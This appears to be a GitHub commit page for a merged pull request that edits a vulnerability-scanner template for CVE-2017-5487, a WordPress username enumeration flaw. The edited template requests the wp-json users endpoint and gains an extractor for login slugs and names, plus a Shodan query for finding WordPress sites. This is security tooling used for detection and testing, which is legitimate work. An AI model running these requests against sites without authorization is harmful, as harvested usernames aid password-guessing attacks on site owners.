Merge pull request #4491 from dr0pd34d/patch-1

Added extractor for wordpress login names
patch-1
Prince Chaddha 2022-05-27 09:20:34 +05:30 committed by GitHub
commit dab6624931
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 21 additions and 11 deletions

View File

@ -2,7 +2,7 @@ id: CVE-2017-5487
info: info:
name: WordPress Core < 4.7.1 - Username Enumeration name: WordPress Core < 4.7.1 - Username Enumeration
author: Manas_Harsh,daffainfo,geeknik author: Manas_Harsh,daffainfo,geeknik,dr0pd34d
severity: medium severity: medium
description: WordPress Core < 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request. description: WordPress Core < 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
reference: reference:
@ -15,32 +15,42 @@ info:
cvss-score: 5.3 cvss-score: 5.3
cve-id: CVE-2017-5487 cve-id: CVE-2017-5487
cwe-id: CWE-200 cwe-id: CWE-200
tags: cve,cve2017,wordpress metadata:
verified: true
shodan-query: http.component:"WordPress"
tags: cve,cve2017,wordpress,wp
requests: requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/wp-json/wp/v2/users/" - "{{BaseURL}}/wp-json/wp/v2/users/"
- "{{BaseURL}}/?rest_route=/wp/v2/users/" - "{{BaseURL}}/?rest_route=/wp/v2/users/"
stop-at-first-match: true stop-at-first-match: true
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- "application/json"
- type: word - type: word
part: body
words: words:
- '"id":' - '"id":'
- '"name":' - '"name":'
- '"avatar_urls":' - '"avatar_urls":'
condition: and condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
extractors: extractors:
- type: json - type: json
part: body
name: "usernames"
json: json:
- '.[] | .slug'
- '.[].name' - '.[].name'
# Enahnced by mp 03/31/2022